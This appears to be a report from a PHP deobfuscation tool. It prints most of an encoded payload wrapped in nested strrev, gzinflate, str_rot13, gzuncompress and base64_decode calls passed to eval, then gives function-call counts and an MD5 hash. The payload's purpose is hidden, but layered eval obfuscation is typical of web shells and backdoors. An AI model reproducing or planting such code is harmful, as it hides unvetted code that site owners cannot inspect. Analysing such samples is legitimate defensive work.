POx\x42UeWJIiQounOL05xPH3WeF\x2b5zT8F2\x2bF7d\x41WYPO\x2bq/dIWeg3exh\x62UzWP\x2bgHmx\x63OLPn4jOwvUjeF\x63wX\x2b\x633/6Pg7MXQtrs/H52D9Qsxe\x62/Gf4T\x6388np\x42f8\x2bH/H1eWur57OWsymf\x63Pr16I0EiIujOn0Rx\x63Ps7dHeR18Knn1Ok0Ked6upL2ds\x4250SfimTixUuzMGOkp5Rtt4i2Yo/\x42r\x2bl7fI\x2bwf5uPPYksx\x616PDz0fZ\x42qKZFZHhdnDHm17uv2/wRnZsjn\x42r8xHQkJeDmzYt/QR\x63\x2bWDxg9i6U\x61\x4311\x63xvJtv7d0Tq9Nu/hX7dJ\x62mDkXZ\x4153\x42PxfwRIOyMEhKWH7lThidEfPg\x42KXSGmkH\x43zPdEf\x63fVi1\x42Q3nj\x42/8zI\x63j2ps4vGyZg0sFL\x42rHRRGt\x41Oqt\x424i9iV4\x2b/0/wMy\x41MhLXxVH\x63I6ONu\x62QWdwTX5x\x62H\x63zorPrRHu2G\x42\x42NmXYtgpnTGx\x43LZjLON6\x41G1uqF4q/\x2bsw\x411qLGfIUjhxpL1t\x2b4nJpTvlIVTKJ8JrOWfoX\x63p\x41fh\x41NqfmXIffw\x2bVY2oe1pYnxqd\x62uei1V\x612Fk5DmVE6U7FWxhlgGQTzl\x62zIKnkd\x41lj0H/MylJuv\x41\x63Dhh\x61ZmM\x2b77Tqj\x43DtFEzeIqypY\x62Vng08\x41Z7O\x61VV\x41j0uIT\x43mIl\x43ofndogSiMY5tNZt/VpVeLpk136P0v\x61SnIISO/Gt\x63sIf3O\x633oGG7Kk395WKzFqDElq9R7tzZ\x62ew/jIkMdeMMH3\x61\x42gw\x639\x41FOH1\x636F14w\x43nWhZrT\x2bLI7GfnNZ51/4Tw6\x41iGDy\x63wkW6H9VU89\x62XvU\x62\x2b85R3\x636O\x62\x2bZ62L9rtPd3tP9g3sU\x61\x62EOiZ3T0MXDRm\x62\x63O/\x627fD\x42JqKQ/psIeYIqXhxSHd1\x43U7g9\x41\x623yIsOtjpJ\x62FDEgx25mkQp\x61H\x61Vq\x434xDTrmv\x43jYmMNry1dptxVv\x63SK\x43JOG0gkF9onUznWJrwG2z\x63LEL7\x62Z3vX6GiFPDFRoR\x43jy7r0t8Jg8ew76Ire5geOSKeEtDdQ\x61UD7vOSZ1kirh0zIfsO\x43KE2ILU\x43lEX\x41D/LZKkSD4wsl\x41y3q/643x\x63\x42tFthRwS7XM6Q9\x41lWlp8sV\x42Zdjm\x43UIEhxIZ1mij9KqF\x43S1\x420IfoZOqh0uQjqf8vwwUQtrH\x41y2lownjG7fLwImpzNR4H1QV6\x41YpYH98Oi2/fXZ77nW\x61uTYw2G4koi\x2bkf2ifrs8z1ZJSk\x42IsE2xrM496Z\x413IpGJelyi15\x63\x42FEYkHT\x42P6\x62optTQ9os0Gd5ML7lvD2zt\x639EW3eQ4jO\x61Fllzf\x2byKw4kx6R\x62\x61JodrJ9JHtgD83pNFNQWk\x41ohJ\x2bMj9R7g\x63PQIrl5semvFYnXgEJrX\x61x2VmfITXiT\x63m7v5rdxtx1PI0HnPIqoSILzJOfMx\x63\x636oYxD8HrSMk6\x61ynsxhHiR2MM2s0K68H\x42Zd\x42lL/6\x42tpu\x41j6\x63dwQxiMVtNTYo\x612p35\x42OSevG9\x63PvRiZ\x61mnpEiRQy\x43jiJIdPSQzk0u1tS3\x43w00dDe\x42xPn\x43tZI8tY\x41hwEY\x43IjWHiooqn049\x41I3J9WMqYS3Wf57s/SLWVJ2KJ7xv\x41G\x43e3Qd91ixjRHLGQtS5Glf01VuvTfzo\x63VVUIvH\x43NqP\x61s2ZFoSKQJSfyfM2u\x62WPXfWnQ7ZRxQMd\x62g\x418FTljGI/l14\x2bhIW6qJNn\x43eTU0VR98tKVS05ENYRl\x437gN2jX73\x638\x62XjV4emj\x42PQU80x\x43grH9pKX1NoI8hW\x43DmVdDnN\x43kqlu5ks8DVxD9HDQ33\x42dvr8\x42wtXpXhQP1wIW\x63n75Xz\x62SSrrTmsKYjwFQFE\x2bd7kJ2X2L2fOGjKF5NZRr1MNVrJE\x61\x62ZQLIj7Z6W\x2bfkpvSfJTZ\x61Jo\x61q\x62EKDTw\x43lJ80\x62\x62Eek\x41lEY\x63UslR\x43HkFFWMfzQT7qYVM4dL\x2buZZOJIE567p2\x43\x43pFY/3etODR3\x42uISUDFYT1GhNGt5J\x2bUJ8I8gel0LpDuxdtU2\x61xThshgYjo9YiQxzfq91PheOmhlwSTMMxG\x436FKHtPU0Wqf76qMwOFKTt7\x43\x2b\x61YYz\x42gqejIKmPOSE\x2b50r6zEVHW12TsxK96ENThRHVg\x41GvJomx0f\x622xF\x61KvZ7iHNZF3m\x43sdHqRVmuQD16ZE\x612HImhp\x61\x61qZI\x61zU3j\x61pur\x62e\x428I6qWmt\x42J9MMs7yWp9\x2bYLhxYhM\x2bq\x627\x612Q4\x2bZlVHS\x62VL5d\x42MFp\x43HWqRGRs7TDFUG\x2bP8Zf\x61TWQee\x62LQjPgmKI65Rerek\x622\x2b8Luj\x43i\x41\x631v14v8NsYqp7W\x61FQ\x63FFyg0tWH\x42f/3gp1pw868JftPdeX41tiW1\x43hgW1K/EH/wK5w08dv\x62u6H8\x43849\x63/RoZ7esg\x43DKoeTz/p\x41Gqv\x61GRRpyVp3NSS6\x43QWDD\x43Wnkfs58nq\x43w4N\x43LNuHzMKnj\x43\x2b\x42UvnZ\x43PFPG\x426H\x62JJUO\x43keV1GXDDJmHZPEzeoqM/EoqvDrfVHmwwe8W\x43U/yVVJKM4\x42F\x43JdL\x43U\x61fJEl0Ghh6z2Q9VrVl6U1\x61\x2bZt0MSY1U5IrtUhVsRxVr\x2b3koYwDqU1x1h5S1yTgMOxG\x41sPzy8VQy\x43KZi\x43R\x41rryhfviN6qkmKS1VZ77etMVZu\x41K6YisSUnuV/\x43HD\x43FKld47mi7JmDQ/yD67tF/dSNfH0YLgnU\x43Z81z\x62gUG7D\x41D\x61yz\x42m\x42jKr4RYH\x42\x2bKeHKGLxPhG\x63f5GYpvmv7Q\x41\x42HDU4MVM144\x62Hw\x61njw\x2bI3dOR\x62f\x61k\x43\x62Se\x425SF58VtQYp9DqYl\x62oWWjqd1tp273noeH82ko4Y1J1slvrEVxW1oGeowqV9Sp0PRFKhUJMu3Qzzddl\x63v3thZhdRTjmS8Ny3ltLgWkYtk7yY\x62\x42XIv\x42DiFMM3EFrD25kNf\x613jHff/2Qf9FuGwHk9wPio\x41x1WzihFtz2\x62egN28RZ0M1kj2\x2b4\x62OezXmP7sej/5RVqp\x62Fh4NS7j260Dez\x42\x62v5On\x6362X8E5Eu\x42\x42F\x41jIEQ5OSNwiPyEL\x61q9E/1nurz2xZY908/xw\x433rFFMiy4Lhl0k2Z\x62RTWzS516UVSqI\x61F4s7\x62j06iuNtTuY76\x2bMlojjYkU\x42pltwj/OejTN8\x42He3Gns9lP25otEKqMUF/XTspZyeo7mms3N\x41hsO/zO30r0yfWmUy\x63puKHq\x2b5\x43fQJxjFmZE2gytLtO\x42\x416OJqKh\x2bXrlS/71xEpMtEht6\x42uSMYV4YqmLP0\x63pvPN0XTRQefLgTUhs8xg4EYyKXxDgio\x2b\x2bgp9oN\x61k\x63nxXz\x62g8qnIS\x419V\x4399\x410M9Jn/\x410Gjmmvm7OihPSq\x43UIy\x41S\x63PNRz\x43G24U\x2bjOTIMRIJmkM8u4lIW\x41Z3RQhj38/0jo\x2b1xP4wvWSQySD9le02Ls0Xu6gsLOVETyY3\x2bFHj5sNi\x42pGZdTpT8qeuX1ymQW36h1sKZZtG4XUNf\x43Ysv\x2bImu40g9JzvIk6\x2bQgSsM\x63RlREoVYzZYYMR7\x41k\x415TQdZSj0qGmRx\x41\x41gORnDjIT\x62wlzZ7DTiJNdz\x63wzPn\x42e\x43HW\x2bEFspdUGDe\x2bKG\x41J\x62\x42gHL\x61Y1pglfG\x42uE22R3/J4MHoKZWpovo1mxd7EN31H9kX\x620\x637u5RydjRI1dGPzZHdo\x633Zs\x43dnRT\x630e3J0RWnRzZwo7v\x630TW5o78\x61Thu72F9k22ITFZ\x61HeKysf843oqY1rOVn\x61L6v9\x62ySRUz\x630qhHw\x61d\x415LuOnS6FWVH\x436Qvm\x2b\x625Tx/6vKF\x43q7/\x2bRElUXQ0VUvT0fQUVFWmDEYF0lE5MruqnWymT4GSm\x63X7dZzVdGRZd\x42f\x63Qsu\x2b1OleNLW1Ul\x43Wh0TPmoO0h9fSOO\x62PyFzd6EXM6\x2b\x63foIyuJIktrqyeXwzEr\x63\x2bUJ/T85Yh/tYW\x43SkloYF\x41qHmkNDi98YYGPN5zwzY03lYko\x43Z5\x2bSSD3nvqgNN8\x61o\x42\x43qq\x2bjpYWkjRDd7IgR1k05vWzv24sTExJD/fU7\x42dygfjdo\x61kL\x61Ne\x63Ewd\x42SDuT0\x42DEOr\x62Tl81One\x2bNLlhYN\x41/kYe5TF\x63qZ6\x63wwf/O1R9eu90XE\x2b4YS5DHQr\x42d\x42\x2b5Qqf\x43MGXW0UV1IMETfRLWhoDmii\x61NKkf0oJOxPk1X6\x41Vf\x61\x61gXtH\x43yJF6ZSvisijP\x62YYh5\x41zWEo\x41Zd\x42Ld\x4306xQ2O0q\x426whWLQ\x43\x62XKyVy1\x42OQNMD\x439\x61WZRoizKPztQxD5NT5F7If\x62LF\x41rJXDgPwEFhp7\x632o\x2b22KYZdrtFEEYmYRwDdo5OW\x63NZioTO6K3dpiRTXH5oQ6X\x41Qeh\x62mLLrIsO\x417sxx\x41lFr\x62Snr0NJ86M\x2bI\x62r09gfDMdwn\x41dOQo\x42QDKX4U76YT6gEytK5\x63r7Ypdsl2KO19u0oO3Qrrd3xRH4leWZfrRdrNdtXd1pIl22NevO\x42u7\x62/\x61\x62rdHLrvVqfIYD2rf\x2boVGn\x61Rku6Lut4QWk1PReS/MS1qK3xW3R\x62\x41uYquGtN2UMxk\x42MwsDPEm6Yq\x61qGwU\x41VuJdxt\x42oTqQN7ffnvpgmfIJMI9KUoo\x63lno6t4x6hdI3s/rFWgLQJ2Y8t4\x2bez2qLetLnxXNVdTjNqfquOr\x620e7TsGr\x2bInSzS\x61WRLNOpg59\x63vMpmsTLxi27t3f42wgT\x62x\x42Y\x43Ff7f6\x43FpXo\x41d\x61oE\x41\x43G\x61\x435\x62z5SMz\x2bi6P6v/9/\x61Lu\x62vV\x2b80M6Ydxp\x42wJeo30FyG\x416Idxt\x42wJeo3zF\x43H\x4164\x63xx\x42wJeo3yFSH\x416o\x63x1\x42wJe"))))))))))));
?>

Function Calls

strrev 1
gzinflate 4
str_rot13 1
gzuncompress 4
base64_decode 1

Variables

None

Stats

MD5 99e6f6c00b15c19385dacaf4166a7383
Eval Count 1
Decode Time 59 ms